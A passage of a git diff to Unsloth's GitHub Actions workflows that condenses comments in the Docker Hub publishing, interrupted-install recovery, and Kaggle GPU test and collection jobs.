type=raw,value=latest,enable=${{ github.ref == format('refs/heads/{0}', github.event.repository.default_branch) && github.event.inputs.unsloth_ref == '' && (github.event.inputs.unsloth_zoo_ref == '' || github.event.inputs.unsloth_zoo_ref == 'main') && (github.event.inputs.notebooks_ref == '' || github.event.inputs.notebooks_ref == 'main') && github.event.inputs.llama_prebuilt_tag == '' }}
@@ -598,17 +548,8 @@ jobs:
echo "digest=${DIGEST}" >> "$GITHUB_OUTPUT"
echo "studio manifest: ${TAG} @ ${DIGEST}"
- # The Docker Hub page is not written by any push: it is repository metadata that
- # only the Hub API changes, so without this it stays whatever was pasted in by
- # hand. Synced from docker/DOCKERHUB.md whenever :latest moved, i.e. the same
- # condition as the stable tags above. Verified by reading it back, and a token
- # that cannot edit the description fails the job rather than warning.
- #
- # Uses DOCKER_API_KEY on the namespace-scoped route. The legacy
- # /v2/repositories/{owner}/{repo}/ path answers every organization access token
- # with 403 "token issued from organization access token is not allowed" (run
- # 33943728004), which is what failed this job on each publish before; the token
- # also needs the repository edit permission.
+ # Syncs docker/DOCKERHUB.md to the Hub page (no push writes it) when :latest moved, read back,
+ # failing on a token that cannot edit. Namespace-scoped route: the legacy one 403s org tokens.
hub-readme:
needs: merge-studio
if: ${{ github.ref == format('refs/heads/{0}', github.event.repository.default_branch) && github.event.inputs.unsloth_ref == '' && (github.event.inputs.unsloth_zoo_ref == '' || github.event.inputs.unsloth_zoo_ref == 'main') && (github.event.inputs.notebooks_ref == '' || github.event.inputs.notebooks_ref == 'main') && github.event.inputs.llama_prebuilt_tag == '' }}
@@ -620,23 +561,15 @@ jobs:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- name: Sync docker/DOCKERHUB.md to the Docker Hub page
- # Key by env, not interpolated into the script: an expanded ${{ secrets.* }}
- # is written into the step's temporary shell script on the runner and, in a
- # command line, into the process argv table. Masking covers the log, not the
- # places the value comes to rest.
+ # Via env, not ${{ secrets.* }} in the script, so the key never lands in the script file or argv.
env:
DOCKER_API_KEY: ${{ secrets.DOCKER_API_KEY }}
run: |
README=docker/DOCKERHUB.md
test -s "$README"
- # The organization token is only accepted on the namespace-scoped routes.
- # The legacy /v2/repositories/{owner}/{repo}/ path answers every
- # organization token with 403 "token issued from organization access token
- # is not allowed", whatever its scopes. The token needs the repository
- # edit permission on ${IMAGE_NAME}.
+ # Org tokens work only on namespace-scoped routes and need repository edit permission.
HUB="https://hub.docker.com/v2/namespaces/${IMAGE_NAME%%/*}/repositories/${IMAGE_NAME#*/}"
- # Body built from the environment and handed to curl on stdin, so the key is
- # never a command-line argument.
+ # Body built from env and passed on stdin, so the key is never a command-line argument.
TOKEN="$(python3 -c 'import json,os,sys; sys.stdout.write(json.dumps({"identifier": os.environ["REGISTRY_USERNAME"], "secret": os.environ["DOCKER_API_KEY"]}))' \
| curl -sS -X POST https://hub.docker.com/v2/auth/token \
-H 'Content-Type: application/json' --data-binary @- \
@@ -668,9 +601,7 @@ jobs:
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
- # Both images are pulled by the digest their merge job resolved and verified, so
- # there is no tag to re-derive here and no `enable=` expression to keep in step
- # with the merge jobs' gates.
+ # Pulled by the digest the merge job verified, so no tag gates to keep in sync here.
- name: Pull and smoke-test the base image
run: |
# By digest: the handle tag is gone once cleanup ran.
@@ -699,8 +630,7 @@ jobs:
[ "$ok_jupyter" = 1 ] || { echo "Jupyter /login never responded"; exit 1; }
echo "Studio + Jupyter healthy"
- # Namespace-scoped route: the legacy /v2/repositories path rejects the organization
- # token. A dispatch with an overridden input keeps its handles, its only names.
+ # Namespace-scoped route: the legacy one rejects org tokens. Overridden dispatches keep their handles.
cleanup:
needs: [merge, merge-studio, hub-readme, smoke-test]
if: ${{ always() && (github.event_name != 'workflow_dispatch' || (github.ref == format('refs/heads/{0}', github.event.repository.default_branch) && github.event.inputs.unsloth_ref == '' && (github.event.inputs.unsloth_zoo_ref == '' || github.event.inputs.unsloth_zoo_ref == 'main') && (github.event.inputs.notebooks_ref == '' || github.event.inputs.notebooks_ref == 'main') && github.event.inputs.llama_prebuilt_tag == '')) }}
@@ -715,8 +645,7 @@ jobs:
DOCKER_API_KEY: ${{ secrets.DOCKER_API_KEY }}
run: |
HUB="https://hub.docker.com/v2/namespaces/${IMAGE_NAME%%/*}/repositories/${IMAGE_NAME#*/}"
- # Body built from the environment and handed to curl on stdin, so the key is
- # never a command-line argument.
+ # Body built from env and passed on stdin, so the key is never a command-line argument.
TOKEN="$(python3 -c 'import json,os,sys; sys.stdout.write(json.dumps({"identifier": os.environ["REGISTRY_USERNAME"], "secret": os.environ["DOCKER_API_KEY"]}))' \
| curl -sS -X POST https://hub.docker.com/v2/auth/token \
-H 'Content-Type: application/json' --data-binary @- \
diff --git a/.github/workflows/interrupted-install-ci.yml b/.github/workflows/interrupted-install-ci.yml
index bffd996574f..2a3389cfa38 100644
--- a/.github/workflows/interrupted-install-ci.yml
+++ b/.github/workflows/interrupted-install-ci.yml
@@ -1,29 +1,14 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Proves an INTERRUPTED install can never masquerade as a healthy one.
-#
-# Reported failure: quitting the app mid-install kills the installer process GROUP
-# (main.rs cleanup_child_processes -> install.rs:798-807) mid "studio deps", the step
-# installing studio/backend/requirements/studio.txt where structlog is declared. On
-# relaunch preflight probes `unsloth -h` and `studio desktop-capabilities --json`; both
-# succeed because the CLI's own deps (typer/click/rich) are core, so the app reports
-# ManagedReady with can_auto_repair=false while the backend dies on `import structlog`
-# and the user is stuck on "Server stopped unexpectedly".
-#
-# No CI job had ever interrupted an install. This one kills the installer at each phase
-# and asserts the result is genuinely healthy or explicitly repairable, never silently ready.
+# Proves an interrupted install never reports healthy: kills the installer at each phase and
+# asserts the result is healthy or explicitly repairable. Killed mid studio deps, preflight used to
+# report ManagedReady while the backend died on `import structlog`.
name: Interrupted install recovery
-# The legs live in .github/ci/interrupted-install-matrix.yml, each with a `pr` flag: a
-# pull_request runs the `pr: true` subset (2 of 10), while a push to main, the nightly
-# schedule and workflow_dispatch run all 10, picked by the `select` job below. 6 of the 10
-# are macOS on an account capped at five concurrent macOS jobs, and on every PR audited
-# before the split the full set was cancelled by the next push before its macOS legs had
-# started. Installers plus the ready/stale predicate the probes call: pyproject.toml and
-# the Tauri preflight sources were dropped because neither is an installer and both change
-# far more often than the kill path does.
+# Legs live in .github/ci/interrupted-install-matrix.yml; PRs run the `pr: true` subset, other
+# events run all (picked by the `select` job) because most legs are slot-capped macOS.
on:
pull_request:
@@ -40,28 +25,19 @@ on:
# install_state() decides ready vs stale for every probe (commands/studio.py:501).
- 'unsloth_cli/_studio_deps.py'
- 'studio/install_manifest.py'
- # The requirement files are the phases: studio.txt declares structlog, whose absence
- # IS the reported false-ready bug, so moving a package between them changes every
- # interrupted state.
+ # The requirement files are the phases: moving a package between them changes every interrupted state.
- 'studio/backend/requirements/**'
- # `interrupt*-install*` would match the .sh / .ps1 but NOT the underscored probe
- # (`*` never matches `/`, and a literal `-install` follows), so list all three.
+ # `interrupt*-install*` would miss the underscored probe, so list all three.
- '.github/scripts/interrupt-install.sh'
- '.github/scripts/interrupt-install.ps1'
- '.github/scripts/interrupted_install_probe.py'
- '.github/scripts/select_install_matrix.py'
- '.github/ci/interrupted-install-matrix.yml'
- '.github/workflows/interrupted-install-ci.yml'
- # interrupted_install_probe.py runs this checkout's CLI (unsloth -h, studio
- # desktop-capabilities, verify-install, desktop-runtime-check).
- # unsloth_cli/__init__.py imports every command module, and the ready or stale
- # verdict is computed in _studio_runtime_gate.py, _studio_stage.py and
- # _system_dir_guard.py.
+ # The probe runs this checkout's CLI; these modules compute the ready/stale verdict.
- 'unsloth_cli/*.py'
- 'unsloth_cli/commands/*.py'
- '.github/scripts/retry-with-apt-lock.sh'
- # Every push to main that touches an installer runs the full set, so a merge is
- # covered at merge time and not only by the nightly.
push:
branches: [main]
paths:
@@ -81,17 +57,12 @@ on:
- '.github/scripts/select_install_matrix.py'
- '.github/ci/interrupted-install-matrix.yml'
- '.github/workflows/interrupted-install-ci.yml'
- # interrupted_install_probe.py runs this checkout's CLI (unsloth -h, studio
- # desktop-capabilities, verify-install, desktop-runtime-check).
- # unsloth_cli/__init__.py imports every command module, and the ready or stale
- # verdict is computed in _studio_runtime_gate.py, _studio_stage.py and
- # _system_dir_guard.py.
+ # The probe runs this checkout's CLI; these modules compute the ready/stale verdict.
- 'unsloth_cli/*.py'
- 'unsloth_cli/commands/*.py'
- '.github/scripts/retry-with-apt-lock.sh'
schedule:
- # Nightly, all 10 legs. Offset from clean-machine-install-ci.yml's 09:23 so the two
- # do not race for the five macOS slots.
+ # Offset from clean-machine-install-ci.yml so the two do not race for macOS slots.
- cron: '41 10 * * *'
workflow_dispatch:
@@ -112,15 +83,13 @@ env:
jobs:
select:
name: select legs
- # arm64, not ubuntu-latest: this job fronts every leg, so its queue wait is added to
- # all of them, and the arm pool starts in minutes where ubuntu-latest queues for hours.
+ # arm64: this job fronts every leg, and the arm pool starts much sooner than ubuntu-latest.
runs-on: ubuntu-24.04-arm
timeout-minutes: 5
outputs:
interrupt: ${{ steps.pick.outputs.interrupt }}
interrupt_windows: ${{ steps.pick.outputs.interrupt_windows }}
- # Both Windows legs are nightly-only, and an empty matrix is a workflow error rather
- # than an empty job, so the Windows job gates on this count.
+ # An empty matrix is a workflow error, so the Windows job gates on this count.
interrupt_windows_count: ${{ steps.pick.outputs.interrupt_windows_count }}
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
@@ -131,8 +100,7 @@ jobs:
with:
python-version: '3.12'
- # Pinned to the PyYAML the workflow guards run under, so the file parses the same way
- # here as in tests/studio/test_install_matrix_selection.py.
+ # Same PyYAML as tests/studio/test_install_matrix_selection.py, so the file parses identically.
- name: Install PyYAML
run: pip install pyyaml==6.0.2
@@ -150,13 +118,8 @@ jobs:
name: ${{ matrix.os }} kill@${{ matrix.label }}
needs: select
runs-on: ${{ matrix.os }}
- # Above the deadlines this leg actually configures, or a slow runner is cancelled
- # mid-assertion and the leg proves nothing: 25 min to the marker
- # (KILL_AT_SECONDS=1500), then two probe passes of up to 17 min each (two 60s
- # --help checks, two 300s deep checks, a 300s backend wait) around a repair
- # install. Legs land in 6-10 min in practice; this is the ceiling, not the target.
+ # Above the configured deadlines (25 min to the marker plus two ~17 min probe passes).
timeout-minutes: 90
- # The legs are in .github/ci/interrupted-install-matrix.yml; every one is a hard gate.
strategy:
fail-fast: false
matrix: ${{ fromJSON(needs.select.outputs.interrupt) }}
@@ -168,15 +131,8 @@ jobs:
- name: Linux system deps
if: runner.os == 'Linux'
- # Bounded and retried through the shared helper: an unbounded apt step does
- # not fail, it spends the job's whole budget and is reported as "cancelled"
- # with no reason and every later step skipped. update and install go as one
- # unit, since retrying the install after a stalled update re-reads the same
- # broken package list.
- # Two long attempts, not three short ones. 150s killed apt mid-`update`
- # against a mirror that was degraded rather than dead, and every attempt
- # then hit the same wall -- three kills and no result. The bound exists to
- # stop an infinite hang, not to race a slow mirror.
+ # Bounded and retried: an unbounded apt hang cancels the job with no reason. Two long attempts,
+ # since short ones kill a slow but working mirror.
timeout-minutes: 15
env:
RETRY_ATTEMPTS: '2'
@@ -190,12 +146,7 @@ jobs:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
KILL_AT_SECONDS: '1500'
run: |
- # --local is load-bearing: without it install.sh:3996 resolves `unsloth>=2026.7.5`
- # from PyPI, so the venv gets the PUBLISHED CLI, every `verify-install` /
- # `desktop-runtime-check` probe reports "absent" whatever the branch does, and the
- # lane cannot observe the fix it tests. --local overlays the checkout editable
- # (install.sh:3990) before the dep pass, so a kill at "studio deps" leaves the
- # branch's CLI installed.
+ # --local is required: without it the venv gets the PUBLISHED CLI and the probes cannot see the branch.
bash .github/scripts/interrupt-install.sh \
'${{ matrix.marker }}' logs/install.log -- --tauri --local
@@ -211,23 +162,16 @@ jobs:
tail -30 logs/install.log || true
exit 1
fi
- # reason alone is not proof: the installer can finish between the driver's
- # liveness re-check and the signal, leaving reason=marker-hit over a COMPLETED
- # install that probes HEALTHY and skips the re-run assertion below. The exit status
- # separates them: SIGTERM takes install.sh's trap to 143 (install.sh:716) and
- # SIGKILL to 137, while only a completed install exits 0.
+ # The installer can finish just before the signal; only exit 0 means it completed
+ # (SIGTERM 143, SIGKILL 137).
if [ "$installer_exit" = "0" ]; then
echo "::error::installer exited 0 -- it COMPLETED inside the kill window, so"
echo "::error::nothing was interrupted and this leg asserts nothing."
tail -30 logs/install.log || true
exit 1
fi
- # ...and it must have died from OUR signal, not on its own. The installer can fail
- # naturally in the same window -- a dependency error exits 1 -- and that leg would
- # test a broken installer while claiming to test an interrupted one. Recording
- # whether `kill` returned 0 cannot separate them: the leader is still an unreaped
- # member of its own group, so `kill -- -$PID` succeeds over an all-zombie group.
- # The exit status does: every POSIX leg of staging run 30424366953 reported 143.
+ # It must have died from our signal, not a natural failure; `kill` succeeding proves nothing
+ # over a zombie group, the exit status does.
case "$installer_exit" in
143|137) ;;
*)
@@ -238,11 +182,7 @@ jobs:
exit 1
;;
esac
- # ...and the signal must land in the phase this leg is NAMED for. Warning-only left
- # staging run 30419729244 fully green with the venv leg's install.log
- # byte-identical to the torch leg's, and both "studio deps" legs killed past
- # structlog (their own artefacts report backend_ok=true), so the flagship cell
- # never reproduced the bug it is named after.
+ # The kill must land in the phase this leg is named for, or it duplicates another leg.
if [ "$interrupt_phase_mismatch" = "true" ]; then
echo "::error::the kill landed in a LATER phase than '${{ matrix.marker }}', so this"
echo "::error::leg duplicates whichever leg owns that phase and its label lies."
@@ -269,25 +209,14 @@ jobs:
exit "$rc"
- name: A re-run must repair, not short-circuit
- # NO_CLI included: a kill at torch lands before "Installing Unsloth"
- # (install.sh:2125 / :3667 / :3961), so those legs always take NO_CLI and skipping
- # the re-run left three of them asserting only that a marker appeared. The bug's
- # second half is install.sh seeing a "current" version and no-opping over a broken
- # venv. HEALTHY also needs the install reported complete, so the data-designer leg
- # (killed before the manifest is written last, install_python_stack.py:3255) arrives
- # here instead of skipping that assertion.
+ # Re-run even on NO_CLI: the bug's second half is install.sh no-opping over a broken venv.
if: always() && steps.probe.outputs.verdict != 'HEALTHY'
run: |
set -o pipefail
rc=0
bash install.sh --tauri --local < /dev/null 2>&1 | tee logs/repair.log || rc=$?
echo "repair exit: $rc"
- # The installer's own verdict counts, not just the probe's: setup.sh runs fallible
- # sidecar and GPU setup AFTER install_python_stack.py writes the manifest, so a
- # repair can fail there and still leave a CLI that probes HEALTHY, while the
- # desktop returns the repair error and never starts the backend
- # (commands.rs:615-630). All 26 POSIX repairs in staging runs 30424366953,
- # 30426699078 and 30427378808 exited 0, so only a real failure trips this.
+ # setup.sh can fail after the manifest is written and still probe HEALTHY, so check the exit code.
if [ "$rc" != "0" ]; then
echo "::error::the repair installer exited $rc, so the re-run did NOT repair"
echo "::error::the install however healthy the venv looks afterwards."
@@ -304,8 +233,7 @@ jobs:
fi
python3 .github/scripts/interrupted_install_probe.py "$BIN" --out probe-after || true
v="$(python3 -c "import json;print(json.load(open('probe-after/verdict.json'))['verdict'])")"
- # A booting backend IS the repair, whatever the log narrated: judging by log text
- # failed a leg whose venv was fine, matching only the frontend's "up to date".
+ # A booting backend IS the repair; judging by log text gave false failures.
if [ "$v" = "HEALTHY" ]; then
echo "re-run repaired the install (verdict=HEALTHY)"
exit 0
@@ -331,12 +259,8 @@ jobs:
# ── Windows: no process groups, so the kill path differs ──────────────────
interrupt-windows:
name: windows kill@${{ matrix.label }}
- # No UNSLOTH_STUDIO_HOME here: the app scrubs it (install.rs:202, :356) and
- # install.ps1:189-215 rejects a custom root under --tauri, so a workspace-scoped root
- # forced these legs down the shell-install path (UNSLOTH_TAURI_MODE=0, frontend build on,
- # different root resolution, no bundled-file overlay). Worse, "Installing PyTorch" is
- # only printed by Write-TauriLog (install.ps1:2440), so the torch leg's marker could
- # never appear. The runner is ephemeral, so the default root is safe to install into.
+ # No UNSLOTH_STUDIO_HOME: the app scrubs it and install.ps1 rejects a custom root under --tauri,
+ # which would force the shell-install path. The runner is ephemeral, so the default root is safe.
needs: select
if: (needs.select.outputs.interrupt_windows_count != '0') && (github.event_name != 'pull_request' || !github.event.pull_request.draft)
runs-on: windows-latest
@@ -373,25 +297,16 @@ jobs:
Get-Content logs/install.log -Tail 30 -ErrorAction SilentlyContinue
exit 1
}
- # Same guard as the POSIX leg: the installer can finish between the driver's last
- # HasExited check and Stop-Tree, leaving reason=marker-hit over a COMPLETED install
- # that probes HEALTHY and skips the re-run assertion. Stop-Process -Force is
- # non-zero, so only a completed install reports 0. 'running' is rejected too: the
- # driver reports that when the installer outlived Stop-Tree and WaitForExit, and a
- # live installer writing into the venv under the probe is not an interrupted
- # install either. Only a real non-zero code counts.
+ # Exit 0 means the install completed before Stop-Tree; 'running' means it outlived it. Neither is
+ # an interrupted install, so only a real non-zero code counts.
if ($vals['installer_exit'] -eq '0' -or $vals['installer_exit'] -notmatch '^-?\d+$') {
Write-Host "::error::installer exit=$($vals['installer_exit']) -- it completed or never"
Write-Host '::error::died inside the kill window, so this leg asserts nothing.'
Get-Content logs/install.log -Tail 30 -ErrorAction SilentlyContinue
exit 1
}
- # ...and the signal has to have been DELIVERED. A non-zero code is weaker proof
- # here than on POSIX, where only a signal produces 143/137: install.ps1 failing on
- # its own also exits non-zero, so a natural failure landing between the driver's
- # last HasExited check and Stop-Tree would otherwise read as a kill. Stop-Process
- # throws on a process already gone, so the driver records false exactly when it
- # found nothing left to interrupt.
+ # install.ps1 failing on its own also exits non-zero, so require the driver to have actually
+ # delivered the kill.
if ($vals['interrupt_root_killed'] -ne 'true') {
Write-Host '::error::the driver never terminated the installer -- it was already'
Write-Host '::error::gone when Stop-Tree reached it, so it failed on its own and'
@@ -399,8 +314,7 @@ jobs:
Get-Content logs/install.log -Tail 30 -ErrorAction SilentlyContinue
exit 1
}
- # Same landing check as the POSIX leg: a phase already over when the poll saw the
- # marker means the kill hit a LATER phase, so the leg duplicates another one.
+ # A kill that hit a later phase duplicates another leg.
if ($vals['interrupt_phase_mismatch'] -eq 'true') {
Write-Host "::error::the kill landed in a LATER phase than '${{ matrix.marker }}', so this"
Write-Host '::error::leg duplicates whichever leg owns that phase and its label lies.'
@@ -420,10 +334,7 @@ jobs:
Write-Host '[probe] no unsloth CLI -> preflight reports NotInstalled (safe)'
exit 0
}
- # The SAME probe the other platforms run. The bespoke inline version it replaced
- # checked only `-h` and `desktop-capabilities`, so it could not observe
- # studio_install_ok / verify-install / desktop-runtime-check and would have failed
- # the very PRs that add them.
+ # Same probe as the other platforms.
python .github/scripts/interrupted_install_probe.py $bin --out probe
$rc = $LASTEXITCODE
$v = (Get-Content probe/verdict.json -Raw | ConvertFrom-Json).verdict
@@ -431,20 +342,15 @@ jobs:
exit $rc
- name: A re-run must repair, not short-circuit
- # Same assertion the POSIX legs make, NO_CLI included: without it a Windows leg
- # proves only that the break was DETECTED, never that install.ps1's version fast path
- # does not short-circuit over it, the half of the bug that strands the user.
+ # Re-run even on NO_CLI, to prove install.ps1's version fast path does not skip the repair.
if: always() && steps.probe.outputs.verdict != 'HEALTHY'
shell: pwsh
run: |
- # powershell.exe with install.rs:325-339's flags, matching the interrupted run: the
- # desktop repairs under Windows PowerShell 5.1, so a repair that only works under
- # pwsh 7 would pass here and still strand the user.
+ # Windows PowerShell 5.1 with install.rs's flags: the desktop repairs under 5.1, not pwsh 7.
powershell.exe -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden `
-ExecutionPolicy Bypass -File install.ps1 ${{ matrix.installArgs }} *>&1 |
Tee-Object -FilePath logs/repair.log
- # Same gate as the POSIX leg, and this side ignored the status entirely.
- # Tee-Object is a cmdlet, so $LASTEXITCODE still carries powershell.exe's code.
+ # Tee-Object is a cmdlet, so $LASTEXITCODE still holds powershell.exe's code.
$rc = $LASTEXITCODE
Write-Host "repair exit: $rc"
if ($rc -ne 0) {
@@ -461,8 +367,7 @@ jobs:
}
python .github/scripts/interrupted_install_probe.py $bin --out probe-after
$v = (Get-Content probe-after/verdict.json -Raw | ConvertFrom-Json).verdict
- # A booting backend IS the repair, whatever the log narrated: judging by log text
- # failed a POSIX leg whose venv was fine, matching only the frontend's "up to date".
+ # A booting backend IS the repair; judging by log text gave false failures.
if ($v -eq 'HEALTHY') {
Write-Host 're-run repaired the install (verdict=HEALTHY)'
exit 0
diff --git a/.github/workflows/kaggle-collect.yml b/.github/workflows/kaggle-collect.yml
index c78d5d6ab71..d91d4e3a557 100644
--- a/.github/workflows/kaggle-collect.yml
+++ b/.github/workflows/kaggle-collect.yml
@@ -1,41 +1,13 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-#
-# Collect the Kaggle kernels the GPU workflows dispatched and left running.
-#
-# WHY THIS EXISTS
-#
-# The GPU workflows used to hold a runner for the whole Kaggle session: 41.5
-# and 18.7 minutes, measured on runs 33479481067 and 33486360729, almost all of
-# it polling, against a queue measured 400-670 deep.
-#
-# So those jobs now PUSH AND EXIT (`launch.py --dispatch`), and two independent
-# routes collect: the next GPU run on the same account collects before it
-# dispatches, and THIS workflow covers a quiet repository on a schedule. The
-# schedule is not a nicety; a kernel here has been measured ignoring Kaggle's
-# own `-t` timeout for over two hours, billing the whole time.
-#
-# WHAT IT PUBLISHES
-#
-# A commit status per collected kernel, `kaggle-t4-notebook` or
-# `kaggle-studio-gpu`, against the sha in the kernel's slug. THAT is the check
-# meaning "the GPU tests passed"; the dispatching job proves only that Kaggle
-# accepted a push. Neither context can be a REQUIRED check while the GPU
-# workflows sample and path-filter: a commit the gate skips gets no status, and
-# a required context that never arrives blocks the merge.
-#
-# ACCOUNTS
-#
-# A static two-element matrix, one job per account, unlike the gate's
-# quota-weighted draw: the gate chooses where to SPEND a session, this spends
-# none and must look at both every pass. One token per job, never both in one
-# step, as in the GPU workflows.
+# Collects Kaggle kernels the GPU workflows dispatched (they push and exit) and posts a
+# `kaggle-t4-notebook` / `kaggle-studio-gpu` commit status against the sha in the kernel slug.
+# Neither can be a required check: sampled commits get no status. One job per account, one token each.
name: Kaggle collect
on:
schedule:
- # Every 10 minutes, offset off the hour: a few passes per 20-40 minute
- # kernel, without the workflow becoming a queue item itself.
+ # Every 10 minutes, off the hour.
- cron: '3,13,23,33,43,53 * * * *'
workflow_dispatch:
inputs:
@@ -51,13 +23,8 @@ on:
permissions:
contents: read
-# Never two scheduled passes at once. This does NOT serialise against the GPU
-# jobs, which collect under their own groups, so two collectors CAN see one
-# terminal kernel. Safe by construction in collect.py rather than by a lock: a
-# vanished kernel is `gone` and posts nothing, an incomplete download keeps the
-# kernel, and a status comes only from complete evidence, so the worst case is
-# the same verdict twice. Not cancel-in-progress: a pass midway through a
-# download must finish, or the next starts from nothing.
+# Not serialised against the GPU jobs' own collection; collect.py is safe under races (worst case
+# a duplicate verdict). Not cancel-in-progress: a pass mid-download must finish.
concurrency:
group: kaggle-collect
cancel-in-progress: false
@@ -66,17 +33,12 @@ jobs:
collect:
name: Collect
runs-on: ubuntu-latest
- # collect.py's BUDGET_SEC (900s) plus RELEASE_BUDGET_SEC (600s) plus setup
- # and posting, so the script's budgets stop a long pass rather than the job
- # being killed mid-download.
+ # collect.py's BUDGET_SEC (900s) + RELEASE_BUDGET_SEC (600s) + setup, so the script stops first.
timeout-minutes: 30
permissions:
contents: read
- # The point of the workflow: without it the verdict reaches nobody.
statuses: write
strategy:
- # One unreachable account must not stop the other, and either failing is
- # still a failure.
fail-fast: false
matrix:
include:
@@ -92,8 +54,7 @@ jobs:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
- # The collector holds the Kaggle token; only the posting step gets
- # GH_TOKEN, and checkout persists the job token into .git by default.
+ # Only the posting step gets GH_TOKEN; checkout would persist the job token into .git.
persist-credentials: false
- uses: actions/setup-python@5fda3b95a4ea91299a34e894583c3862153e4b97
@@ -101,26 +62,16 @@ jobs:
python-version: '3.12'
- name: Install the Kaggle client
- # As in the GPU workflows: 1.7.4.5's authenticate() cannot read
- # KAGGLE_API_TOKEN, the only credential this job has, so every pass on
- # it collected nothing.
+ # kaggle 1.7.4.5's authenticate() cannot read KAGGLE_API_TOKEN.
run: python -m pip install --quiet 'kaggle==2.2.4'
- name: Collect this account's kernels
id: collect
env:
- # Exactly one account, indexed by name. A ternary would hand over the
- # other account's token whenever this secret is empty, and the
- # collector would delete kernels it is not reporting for.
+ # Index by name: a ternary would hand over the other account's token when this one is empty.
KAGGLE_API_TOKEN: ${{ secrets[matrix.secret_name] }}
- # --require-auth: this job holds the repository's own secrets, so an
- # auth failure is a broken token and must be red, not the quiet green a
- # fork gets. An EMPTY token is different: the matrix is static, so a
- # repository with one Kaggle account leaves the second secret unset and
- # that leg warns and passes. --no-delete always; the last step releases
- # the kernels once their statuses posted. The report count comes from
- # each kernel's own evidence, so a five-payload kernel that lost four is
- # judged against five rather than a flat guess.
+ # --require-auth: a broken token here must be red; an EMPTY token (single-account repo) only warns.
+ # --no-delete: the last step releases kernels after statuses post.
run: |
python .github/scripts/kaggle_t4_ci/collect.py \
--outdir kaggle_collected \
@@ -129,10 +80,7 @@ jobs:
--max-age-hours '${{ inputs.max_age_hours || '3' }}' \
--target-url "$GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID"
- # Post FIRST, delete SECOND: a verdict that does not reach GitHub leaves
- # its kernel up for the next pass, and deleting first would make one API
- # failure the permanent loss of a verdict. A script rather than a shell
- # loop so each field reaches `gh` as its own argument.
+ # Post first, delete second, so a failed post leaves the kernel for the next pass.
- name: Post the commit statuses
id: post
if: always() && hashFiles('kaggle_collected/collect_result.json') != ''
@@ -153,10 +101,7 @@ jobs:
--delete-collected kaggle_collected/collect_result.json \
--posted kaggle_collected/posted.json
- # The Studio payload smuggles its screenshots and logs home in its own
- # cell output, and this pass collects most Studio kernels, so it has to
- # put them back. One kernel per call: the bundle is reassembled from
- # numbered chunks and one walk over two would splice them together.
+ # One kernel per call: chunks from two kernels would be spliced together.
- name: Unpack the Playwright evidence
if: always() && hashFiles('kaggle_collected/**/*_output.ipynb') != ''
continue-on-error: true
@@ -168,9 +113,7 @@ jobs:
--outdir "studio_evidence/$(basename "$dir")"
done
- # The posted verdict is one line; the notebooks and screenshots are what a
- # red one is read from. continue-on-error because the statuses are already
- # delivered and an artifact outage is not a collection failure.
+ # continue-on-error: statuses are already posted; an artifact outage is not a collection failure.
- name: Upload evidence
if: always() && hashFiles('kaggle_collected/**') != ''
continue-on-error: true
diff --git a/.github/workflows/kaggle-t4-notebook-ci.yml b/.github/workflows/kaggle-t4-notebook-ci.yml
index 1e48f7b43e5..86b2f97058f 100644
--- a/.github/workflows/kaggle-t4-notebook-ci.yml
+++ b/.github/workflows/kaggle-t4-notebook-ci.yml
@@ -1,292 +1,55 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-#
-# Notebook regression tests on real Kaggle T4 hardware.
-#
-# Why T4 rather than a GitHub runner: every other GPU-adjacent job here has no
-# GPU or one nobody's free Colab session has. T4 is the card the notebooks are
-# written against (sm_75, no bf16, no flash-attention 2, 16GB), so a regression
-# that only appears there is invisible to the rest of CI. Kaggle gives us that
-# card free, two per session: four payloads across one session's pair of cards.
+# Notebook regression tests on real Kaggle T4 hardware (sm_75, no bf16, no FA2, 16GB), the card the
+# notebooks target. Four legs in ONE kernel, one per card at a time, longest first; the order lives in
+# .github/scripts/kaggle_t4_ci/legs.py. The Studio GPU smoke rides the same kernel (--with-studio); it
+# does not replace kaggle-t4-studio-gpu-ci.yml. One kernel, not two, leaves the account's second
+# session for that workflow.
+#
+# control and canary differ ONLY in installed library versions: canary red + control green means a
+# library release broke Unsloth; both red is not a version bump; control red means the pins in
+# tests/kaggle/t4_smoke/pins/control.txt stopped resolving. Determinism and the reference band apply
+# to control only. Under fp16 the GradScaler skips the first steps, so runs shorter than ~5 steps apply
+# no updates; check_steps.py measures that floor.
+#
+# BUDGET. Read this before changing any trigger. Two Kaggle accounts with weekly quotas, shared with
+# kaggle-t4-studio-gpu-ci.yml. The split is Unsloth 35, this leg 15 of the 50h CI allowance; the
+# reserves enforce it (this leg stands down at 40h spent account-wide, Unsloth at 50h).
+# Cost of one invocation (one kernel, Studio install hidden on a CPU lane):
+# TOTAL, expected ~0.25 h (rounded up)
+# Sampling (--percent 15), solved at the busy end of 88..231 eligible events/week to target 9h:
+# busy week 231 x 0.15 x 0.25 = 8.7 GPU-h (35 launches)
+# The rate is for THIS payload set; wiring another leg (e.g. grpo) needs this recomputed.
#
# ---------------------------------------------------------------------
-# WHAT RUNS: four legs in ONE kernel, two at a time. The leg order lives in
-# .github/scripts/kaggle_t4_ci/legs.py and is not restated here.
+# FAILURE SEMANTICS: red when a payload ran on a T4 and failed, or when the account's
+# WEEKLY accelerator quota is exhausted (the gate says so before any kernel is pushed). An UNREADABLE
+# quota and every other infrastructure outcome skips; the in-job recheck uses --soft-fail.
# ---------------------------------------------------------------------
#
-# gptoss gpt-oss-20b LoRA: torch.compile and float32 on sm_75
-# frontier the same SFT run on the newest transformers and trl on PyPI,
-# above the ceiling zoo's metadata permits
-# canary tiny Qwen2.5-0.5B SFT on the newest permitted library set
-# control the same run, PINNED library set
-#
-# One worker per card takes the next leg off that list when its previous leg has
-# exited, so a card carries exactly one leg at a time and the four fit in one
